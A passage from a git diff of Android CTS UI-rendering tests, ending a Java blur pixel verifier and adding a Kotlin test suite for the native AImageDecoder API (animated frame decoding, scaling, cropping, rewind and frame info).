+     * Create a BitmapVerifier that compares pixel values relative to the
+     * provided source and destination colors. Pixels closer to the center of
+     * the test bitmap are expected to match closer to the source color, while pixels
+     * on the exterior of the test bitmap are expected to match the destination
+     * color more closely
+     */
+    public BlurPixelVerifier(int srcColor, int dstColor) {
+        mSrcColor = srcColor;
+        mDstColor = dstColor;
+    }
+
+    @Override
+    public boolean verify(int[] bitmap, int offset, int stride, int width, int height) {
+
+        float dstRedChannel = Color.red(mDstColor);
+        float dstGreenChannel = Color.green(mDstColor);
+        float dstBlueChannel = Color.blue(mDstColor);
+
+        float srcRedChannel = Color.red(mSrcColor);
+        float srcGreenChannel = Color.green(mSrcColor);
+        float srcBlueChannel = Color.blue(mSrcColor);
+
+        // Calculate the largest rgb color difference between the source and destination
+        // colors
+        double maxDifference = Math.pow(srcRedChannel - dstRedChannel, 2.0f)
+                + Math.pow(srcGreenChannel - dstGreenChannel, 2.0f)
+                + Math.pow(srcBlueChannel - dstBlueChannel, 2.0f);
+
+        // Calculate the maximum distance between pixels to the center of the test image
+        double maxPixelDistance =
+                Math.sqrt(Math.pow(width / 2.0, 2.0) + Math.pow(height / 2.0, 2.0));
+
+        // Additional tolerance applied to comparisons
+        float threshold = .05f;
+        for (int x = 0; x < width; x++) {
+            for (int y = 0; y < height; y++) {
+                double pixelDistance = Math.sqrt(Math.pow(x - width / 2.0, 2.0)
+                        + Math.pow(y - height / 2.0, 2.0));
+                // Calculate the threshold of the destination color expected based on the
+                // pixels position relative to the center
+                double dstPercentage = pixelDistance / maxPixelDistance + threshold;
+
+                int pixelColor = bitmap[indexFromXAndY(x, y, stride, offset)];
+                double pixelRedChannel = Color.red(pixelColor);
+                double pixelGreenChannel = Color.green(pixelColor);
+                double pixelBlueChannel = Color.blue(pixelColor);
+                // Compare the RGB color distance between the current pixel and the destination
+                // color
+                double dstDistance = Math.sqrt(Math.pow(pixelRedChannel - dstRedChannel, 2.0)
+                        + Math.pow(pixelGreenChannel - dstGreenChannel, 2.0)
+                        + Math.pow(pixelBlueChannel - dstBlueChannel, 2.0));
+
+                // Compare the RGB color distance between the current pixel and the source
+                // color
+                double srcDistance = Math.sqrt(Math.pow(pixelRedChannel - srcRedChannel, 2.0)
+                        + Math.pow(pixelGreenChannel - srcGreenChannel, 2.0)
+                        + Math.pow(pixelBlueChannel - srcBlueChannel, 2.0));
+
+                // calculate the ratio between the destination color to the current pixel
+                // color relative to the maximum distance between source and destination colors
+                // If this value exceeds the threshold expected for the pixel distance from
+                // center then we are rendering an unexpected color
+                double dstFraction = dstDistance / maxDifference;
+                if (dstFraction > dstPercentage) {
+                    return false;
+                }
+
+                // similarly compute the ratio between the source color to the current pixel
+                // color relative to the maximum distance between source and destination colors
+                // If this value exceeds the threshold expected for the pixel distance from
+                // center then we are rendering an unexpected source color
+                double srcFraction = srcDistance / maxDifference;
+                if (srcFraction > dstPercentage) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
new file mode 100644
index 0000000..8cd8cf7
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
@@ -0,0 +1,953 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses
+
+import androidx.test.InstrumentationRegistry
+
+import android.content.res.AssetManager
+import android.graphics.Bitmap
+import android.graphics.Color
+import android.graphics.ImageDecoder
+import android.graphics.Rect
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier
+import android.uirendering.cts.bitmapverifiers.ColorVerifier
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier
+import android.uirendering.cts.bitmapverifiers.RectVerifier
+import android.uirendering.cts.bitmapverifiers.RegionVerifier
+import junitparams.JUnitParamsRunner
+import junitparams.Parameters
+import org.junit.Test
+import org.junit.runner.RunWith
+import kotlin.test.assertEquals
+import kotlin.test.assertTrue
+import kotlin.test.fail
+
+@RunWith(JUnitParamsRunner::class)
+class AImageDecoderTest {
+    init {
+        System.loadLibrary("ctsuirendering_jni")
+    }
+
+    private val ANDROID_IMAGE_DECODER_SUCCESS = 0
+    private val ANDROID_IMAGE_DECODER_INVALID_CONVERSION = -3
+    private val ANDROID_IMAGE_DECODER_INVALID_SCALE = -4
+    private val ANDROID_IMAGE_DECODER_BAD_PARAMETER = -5
+    private val ANDROID_IMAGE_DECODER_FINISHED = -10
+    private val ANDROID_IMAGE_DECODER_INVALID_STATE = -11
+
+    private fun getAssets(): AssetManager {
+        return InstrumentationRegistry.getTargetContext().getAssets()
+    }
+
+    @Test
+    fun testNullDecoder() = nTestNullDecoder()
+
+    @Test
+    fun testToString() = nTestToString()
+
+    private enum class Crop {
+        Top,    // Crop a section of the image that contains the top
+        Left,   // Crop a section of the image that contains the left
+        None,
+    }
+
+    /**
+     * Helper class to decode a scaled, cropped image to compare to AImageDecoder.
+     *
+     * Includes properties for getting the right scale and crop values to use in
+     * AImageDecoder.
+     */
+    private inner class DecodeAndCropper constructor(
+        image: String,
+        scale: Float,
+        crop: Crop
+    ) {
+        val bitmap: Bitmap
+        var targetWidth: Int = 0
+            private set
+        var targetHeight: Int = 0
+            private set
+        val cropRect: Rect?
+
+        init {
+            val source = ImageDecoder.createSource(getAssets(), image)
+            val tmpBm = ImageDecoder.decodeBitmap(source) {
+                decoder, info, _ ->
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+                    if (scale == 1.0f) {
+                        targetWidth = info.size.width
+                        targetHeight = info.size.height
+                    } else {
+                        targetWidth = (info.size.width * scale).toInt()
+                        targetHeight = (info.size.height * scale).toInt()
+                        decoder.setTargetSize(targetWidth, targetHeight)
+                    }
+            }
+            cropRect = when (crop) {
+                Crop.Top -> Rect((targetWidth / 3.0f).toInt(), 0,
+                        (targetWidth * 2 / 3.0f).toInt(),
+                        (targetHeight / 2.0f).toInt())
+                Crop.Left -> Rect(0, (targetHeight / 3.0f).toInt(),
+                        (targetWidth / 2.0f).toInt(),
+                        (targetHeight * 2 / 3.0f).toInt())
+                Crop.None -> null
+            }
+            if (cropRect == null) {
+                bitmap = tmpBm
+            } else {
+                // Crop using Bitmap, rather than ImageDecoder, because it uses
+                // the same code as AImageDecoder for cropping.
+                bitmap = Bitmap.createBitmap(tmpBm, cropRect.left, cropRect.top,
+                        cropRect.width(), cropRect.height())
+                if (bitmap !== tmpBm) {
+                    tmpBm.recycle()
+                }
+            }
+        }
+    }
+
+    // Create a Bitmap with the same size and colorspace as bitmap.
+    private fun makeEmptyBitmap(bitmap: Bitmap) = Bitmap.createBitmap(bitmap.width, bitmap.height,
+                bitmap.config, true, bitmap.colorSpace!!)
+
+    private fun setCrop(decoder: Long, rect: Rect): Int = with(rect) {
+        nSetCrop(decoder, left, top, right, bottom)
+    }
+
+    /**
+     * Test that all frames in the image look as expected.
+     *
+     * @param image Name of the animated image file.
+     * @param frameName Template for creating the name of the expected image
+     *                  file for the i'th frame.
+     * @param numFrames Total number of frames in the animated image.
+     * @param scaleFactor The factor by which to scale the image.
+     * @param crop The crop setting to use.
+     * @param mssimThreshold The minimum MSSIM value to accept as similar. Some
+     *                       images do not match exactly, but they've been
+     *                       manually verified to look the same.
+     */
+    private fun decodeAndCropFrames(
+        image: String,
+        frameName: String,
+        numFrames: Int,
+        scaleFactor: Float,
+        crop: Crop,
+        mssimThreshold: Double
+    ) {
+        val decodeAndCropper = DecodeAndCropper(image, scaleFactor, crop)
+        var expectedBm = decodeAndCropper.bitmap
+
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        if (scaleFactor != 1.0f) {
+            with(decodeAndCropper) {
+                assertEquals(nSetTargetSize(decoder, targetWidth, targetHeight),
+                        ANDROID_IMAGE_DECODER_SUCCESS)
+            }
+        }
+        with(decodeAndCropper.cropRect) {
+            this?.let {
+                assertEquals(setCrop(decoder, this), ANDROID_IMAGE_DECODER_SUCCESS)
+            }
+        }
+
+        val testBm = makeEmptyBitmap(decodeAndCropper.bitmap)
+
+        var i = 0
+        while (true) {
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+            val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(mssimThreshold))
+            assertTrue(verifier.verify(testBm), "$image has mismatch in frame $i")
+            expectedBm.recycle()
+
+            i++
+            when (val result = nAdvanceFrame(decoder)) {
+                ANDROID_IMAGE_DECODER_SUCCESS -> {
+                    assertTrue(i < numFrames, "Unexpected frame $i in $image")
+                    expectedBm = DecodeAndCropper(frameName.format(i), scaleFactor, crop).bitmap
+                }
+                ANDROID_IMAGE_DECODER_FINISHED -> {
+                    assertEquals(i, numFrames, "Expected $numFrames frames in $image; found $i")
+                    break
+                }
+                else -> fail("Unexpected error $result when advancing $image to frame $i")
+            }
+        }
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun animationsAndFrames() = arrayOf(
+        arrayOf<Any>("animated.gif", "animated_%03d.gif", 4),
+        arrayOf<Any>("animated_webp.webp", "animated_%03d.gif", 4),
+        arrayOf<Any>("required_gif.gif", "required_%03d.png", 7),
+        arrayOf<Any>("required_webp.webp", "required_%03d.png", 7),
+        arrayOf<Any>("alphabetAnim.gif", "alphabetAnim_%03d.png", 13),
+        arrayOf<Any>("blendBG.webp", "blendBG_%03d.png", 7),
+        arrayOf<Any>("stoplight.webp", "stoplight_%03d.png", 3)
+    )
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFrames(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.None, .955)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesScaleDown(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.None, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesScaleDown2(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.None, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesScaleUp(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 2.0f, Crop.None, .875)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTop(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.Top, .934)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTopScaleDown(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.Top, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTopScaleDown2(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.Top, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTopScaleUp(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 3.0f, Crop.Top, .908)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeft(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.Left, .924)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeftScaleDown(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.Left, .596)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeftScaleDown2(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.Left, .596)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeftScaleUp(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 3.0f, Crop.Left, .894)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testRewind(image: String, unused: String, numFrames: Int) {
+        val frame0 = with(ImageDecoder.createSource(getAssets(), image)) {
+            ImageDecoder.decodeBitmap(this) {
+                decoder, _, _ ->
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+            }
+        }
+
+        // Regardless of the current frame, calling rewind and decoding should
+        // look like frame_0.
+        for (framesBeforeReset in 0 until numFrames) {
+            val asset = nOpenAsset(getAssets(), image)
+            val decoder = nCreateFromAsset(asset)
+            val testBm = makeEmptyBitmap(frame0)
+            for (i in 1..framesBeforeReset) {
+                nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+                assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+            }
+
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+
+            val verifier = GoldenImageVerifier(frame0, MSSIMComparer(1.0))
+            assertTrue(verifier.verify(testBm), "Mismatch in $image after " +
+                        "decoding $framesBeforeReset and then rewinding!")
+
+            nDeleteDecoder(decoder)
+            nCloseAsset(asset)
+        }
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeReturnsFinishedAtEnd(image: String, unused: String, numFrames: Int) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        for (i in 0 until (numFrames - 1)) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+        }
+
+        assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_FINISHED)
+
+        // Create a Bitmap to decode into and verify that no decoding occurred.
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+        val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+        nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_FINISHED)
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+
+        // Every pixel should be transparent black, as no decoding happened.
+        assertTrue(ColorVerifier(0, 0).verify(bitmap))
+        bitmap.recycle()
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testAdvanceReturnsFinishedAtEnd(image: String, unused: String, numFrames: Int) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        for (i in 0 until (numFrames - 1)) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+        }
+
+        for (i in 0..1000) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_FINISHED)
+        }
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun nonAnimatedAssets() = arrayOf(
+        "blue-16bit-prophoto.png", "green-p3.png", "linear-rgba16f.png", "orange-prophotorgb.png",
+        "animated_001.gif", "animated_002.gif", "sunset1.jpg"
+    )
+
+    @Test
+    @Parameters(method = "nonAnimatedAssets")
+    fun testAdvanceFrameFailsNonAnimated(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        assertEquals(ANDROID_IMAGE_DECODER_BAD_PARAMETER, nAdvanceFrame(decoder))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    @Parameters(method = "nonAnimatedAssets")
+    fun testRewindFailsNonAnimated(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        assertEquals(ANDROID_IMAGE_DECODER_BAD_PARAMETER, nRewind(decoder))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun imagesAndSetters(): ArrayList<Any> {
+        val setters = arrayOf<(Long) -> Int>(
+            { decoder -> nSetUnpremultipliedRequired(decoder, true) },
+            { decoder ->
+                val rect = Rect(0, 0, nGetWidth(decoder) / 2, nGetHeight(decoder) / 2)
+                setCrop(decoder, rect)
+            },
+            { decoder ->
+                val ANDROID_BITMAP_FORMAT_RGBA_F16 = 9
+                nSetAndroidBitmapFormat(decoder, ANDROID_BITMAP_FORMAT_RGBA_F16)
+            },
+            { decoder ->
+                nSetTargetSize(decoder, nGetWidth(decoder) / 2, nGetHeight(decoder) / 2)
+            },
+            { decoder ->
+                val ADATASPACE_DISPLAY_P3 = 143261696
+                nSetDataSpace(decoder, ADATASPACE_DISPLAY_P3)
+            }
+        )
+        val list = ArrayList<Any>()
+        for (animations in animationsAndFrames()) {
+            for (setter in setters) {
+                list.add(arrayOf(animations[0], animations[2], setter))
+            }
+        }
+        return list
+    }
+
+    @Test
+    @Parameters(method = "imagesAndSetters")
+    fun testSettersFailOnLatterFrames(image: String, numFrames: Int, setter: (Long) -> Int) {
+        // Verify that the setter succeeds on the first frame.
+        with(nOpenAsset(getAssets(), image)) {
+            val decoder = nCreateFromAsset(this)
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, setter(decoder))
+            nDeleteDecoder(decoder)
+            nCloseAsset(this)
+        }
+
+        for (framesBeforeSet in 1 until numFrames) {
+            val asset = nOpenAsset(getAssets(), image)
+            val decoder = nCreateFromAsset(asset)
+            for (i in 1..framesBeforeSet) {
+                assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+            }
+
+            // Not on the first frame, so the setter fails.
+            assertEquals(ANDROID_IMAGE_DECODER_INVALID_STATE, setter(decoder))
+
+            // Rewind to the beginning. Now the setter can succeed.
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, setter(decoder))
+
+            nDeleteDecoder(decoder)
+            nCloseAsset(asset)
+        }
+    }
+
+    fun unpremulTestFiles() = arrayOf(
+        "alphabetAnim.gif", "animated_webp.webp", "stoplight.webp"
+    )
+
+    @Test
+    @Parameters(method = "unpremulTestFiles")
+    fun testUnpremul(image: String) {
+        val expectedBm = with(ImageDecoder.createSource(getAssets(), image)) {
+            ImageDecoder.decodeBitmap(this) {
+                decoder, _, _ ->
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+                    decoder.setUnpremultipliedRequired(true)
+            }
+        }
+
+        val testBm = makeEmptyBitmap(expectedBm)
+
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+        nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+
+        val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(1.0))
+        assertTrue(verifier.verify(testBm), "$image did not match in unpremul")
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun imagesWithAlpha() = arrayOf(
+        "alphabetAnim.gif",
+        "animated_webp.webp",
+        "animated.gif"
+    )
+
+    @Test
+    @Parameters(method = "imagesWithAlpha")
+    fun testUnpremulThenScaleFailsWithAlpha(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+        assertEquals(ANDROID_IMAGE_DECODER_INVALID_SCALE,
+                nSetTargetSize(decoder, width * 2, height * 2))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    @Parameters(method = "imagesWithAlpha")
+    fun testScaleThenUnpremulFailsWithAlpha(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS,
+                nSetTargetSize(decoder, width * 2, height * 2))
+        assertEquals(ANDROID_IMAGE_DECODER_INVALID_CONVERSION,
+                nSetUnpremultipliedRequired(decoder, true))
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun opaquePlusScale(): ArrayList<Any> {
+        val opaqueImages = arrayOf("sunset1.jpg", "blendBG.webp", "stoplight.webp")
+        val scales = arrayOf(.5f, .75f, 2.0f)
+        val list = ArrayList<Any>()
+        for (image in opaqueImages) {
+            for (scale in scales) {
+                list.add(arrayOf(image, scale))
+            }
+        }
+        return list
+    }
+
+    @Test
+    @Parameters(method = "opaquePlusScale")
+    fun testUnpremulPlusScaleOpaque(image: String, scale: Float) {
+        val expectedBm = with(ImageDecoder.createSource(getAssets(), image)) {
+            ImageDecoder.decodeBitmap(this) {
+                decoder, info, _ ->
+                    decoder.isUnpremultipliedRequired = true
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+                    val width = (info.size.width * scale).toInt()
+                    val height = (info.size.height * scale).toInt()
+                    decoder.setTargetSize(width, height)
+            }
+        }
+        val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(1.0))
+
+        // Flipping the order of setting unpremul and scaling results in taking
+        // a different code path. Ensure both succeed.
+        val ops = listOf(
+            { decoder: Long -> nSetUnpremultipliedRequired(decoder, true) },
+            { decoder: Long -> nSetTargetSize(decoder, expectedBm.width, expectedBm.height) }
+        )
+
+        for (order in setOf(ops, ops.asReversed())) {
+            val testBm = makeEmptyBitmap(expectedBm)
+            val asset = nOpenAsset(getAssets(), image)
+            val decoder = nCreateFromAsset(asset)
+            for (op in order) {
+                assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, op(decoder))
+            }
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertTrue(verifier.verify(testBm))
+
+            nDeleteDecoder(decoder)
+            nCloseAsset(asset)
+            testBm.recycle()
+        }
+        expectedBm.recycle()
+    }
+
+    @Test
+    fun testUnpremulPlusScaleWithFrameWithAlpha() {
+        // The first frame of this image is opaque, so unpremul + scale succeeds.
+        // But frame 3 has alpha, so decoding it with unpremul + scale fails.
+        val image = "blendBG.webp"
+        val scale = 2.0f
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val width = (nGetWidth(decoder) * scale).toInt()
+        val height = (nGetHeight(decoder) * scale).toInt()
+
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetUnpremultipliedRequired(decoder, true))
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nSetTargetSize(decoder, width, height))
+
+        val testBm = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+        for (i in 0 until 3) {
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+        }
+        nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_INVALID_SCALE)
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    @Parameters(method = "nonAnimatedAssets")
+    fun testGetFrameInfoSucceedsNonAnimated(image: String) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val frameInfo = nCreateFrameInfo()
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo))
+
+        if (image.startsWith("animated")) {
+            // Although these images have only one frame, they still contain encoded frame info.
+            val ANDROID_IMAGE_DECODER_INFINITE = Integer.MAX_VALUE
+            assertEquals(ANDROID_IMAGE_DECODER_INFINITE, nGetRepeatCount(decoder))
+            assertEquals(250_000_000L, nGetDuration(frameInfo))
+            assertEquals(ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, nGetDisposeOp(frameInfo))
+        } else {
+            // Since these are not animated and have no encoded frame info, they should use
+            // defaults.
+            assertEquals(0, nGetRepeatCount(decoder))
+            assertEquals(0L, nGetDuration(frameInfo))
+            assertEquals(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, nGetDisposeOp(frameInfo))
+        }
+
+        nTestGetFrameRect(frameInfo, 0, 0, nGetWidth(decoder), nGetHeight(decoder))
+        if (image.endsWith("gif")) {
+            // GIFs do not support SRC, so they always report SRC_OVER.
+            assertEquals(ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, nGetBlendOp(frameInfo))
+        } else {
+            assertEquals(ANDROID_IMAGE_DECODER_BLEND_OP_SRC, nGetBlendOp(frameInfo))
+        }
+        assertEquals(nGetAlpha(decoder), nGetFrameAlpha(frameInfo))
+
+        nDeleteFrameInfo(frameInfo)
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    @Test
+    fun testNullFrameInfo() = nTestNullFrameInfo(getAssets(), "animated.gif")
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testGetFrameInfo(image: String, frameName: String, numFrames: Int) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val frameInfo = nCreateFrameInfo()
+        for (i in 0 until numFrames) {
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo))
+            val result = nAdvanceFrame(decoder)
+            val expectedResult = if (i == numFrames - 1) ANDROID_IMAGE_DECODER_FINISHED
+                                 else ANDROID_IMAGE_DECODER_SUCCESS
+            assertEquals(expectedResult, result)
+        }
+
+        assertEquals(ANDROID_IMAGE_DECODER_FINISHED, nGetFrameInfo(decoder, frameInfo))
+
+        nDeleteFrameInfo(frameInfo)
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun animationsAndDurations() = arrayOf(
+        arrayOf<Any>("animated.gif", LongArray(4) { 250_000_000 }),
+        arrayOf<Any>("animated_webp.webp", LongArray(4) { 250_000_000 }),
+        arrayOf<Any>("required_gif.gif", LongArray(7) { 100_000_000 }),
+        arrayOf<Any>("required_webp.webp", LongArray(7) { 100_000_000 }),
+        arrayOf<Any>("alphabetAnim.gif", LongArray(13) { 100_000_000 }),
+        arrayOf<Any>("blendBG.webp", longArrayOf(525_000_000, 500_000_000,
+                525_000_000, 437_000_000, 609_000_000, 729_000_000, 444_000_000)),
+        arrayOf<Any>("stoplight.webp", longArrayOf(1_000_000_000, 500_000_000,
+                                                    1_000_000_000))
+    )
+
+    @Test
+    @Parameters(method = "animationsAndDurations")
+    fun testDurations(image: String, durations: LongArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(durations[i], nGetDuration(frameInfo))
+    }
+
+    /**
+     * Iterate through all frames and call a lambda that tests an individual frame's info.
+     *
+     * @param image Name of the image asset to test
+     * @param test Lambda with two parameters: A pointer to the native decoder, and the
+     *             current frame number.
+     */
+    private fun testFrameInfo(image: String, test: (Long, Int) -> Unit) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val frameInfo = nCreateFrameInfo()
+        var frame = 0
+        do {
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo),
+                "Failed to getFrameInfo for frame $frame of $image!")
+            test(frameInfo, frame)
+            frame++
+        } while (ANDROID_IMAGE_DECODER_SUCCESS == nAdvanceFrame(decoder))
+
+        nDeleteFrameInfo(frameInfo)
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun animationsAndRects() = arrayOf(
+        // Each group of four Ints represents a frame's rectangle
+        arrayOf<Any>("animated.gif", intArrayOf(0, 0, 278, 183,
+                                                0, 0, 278, 183,
+                                                0, 0, 278, 183,
+                                                0, 0, 278, 183)),
+        arrayOf<Any>("animated_webp.webp", intArrayOf(0, 0, 278, 183,
+                                                      0, 0, 278, 183,
+                                                      0, 0, 278, 183,
+                                                      0, 0, 278, 183)),
+        arrayOf<Any>("required_gif.gif", intArrayOf(0, 0, 100, 100,
+                                                    0, 0, 75, 75,
+                                                    0, 0, 50, 50,
+                                                    0, 0, 60, 60,
+                                                    0, 0, 100, 100,
+                                                    0, 0, 50, 50,
+                                                    0, 0, 75, 75)),
+        arrayOf<Any>("required_webp.webp", intArrayOf(0, 0, 100, 100,
+                                                      0, 0, 75, 75,
+                                                      0, 0, 50, 50,
+                                                      0, 0, 60, 60,
+                                                      0, 0, 100, 100,
+                                                      0, 0, 50, 50,
+                                                      0, 0, 75, 75)),
+        arrayOf<Any>("alphabetAnim.gif", intArrayOf(25, 25, 75, 75,
+                                                    25, 25, 75, 75,
+                                                    25, 25, 75, 75,
+                                                    37, 37, 62, 62,
+                                                    37, 37, 62, 62,
+                                                    25, 25, 75, 75,
+                                                    0, 0, 50, 50,
+                                                    0, 0, 100, 100,
+                                                    25, 25, 75, 75,
+                                                    25, 25, 75, 75,
+                                                    0, 0, 100, 100,
+                                                    25, 25, 75, 75,
+                                                    37, 37, 62, 62)),
+
+        arrayOf<Any>("blendBG.webp", intArrayOf(0, 0, 200, 200,
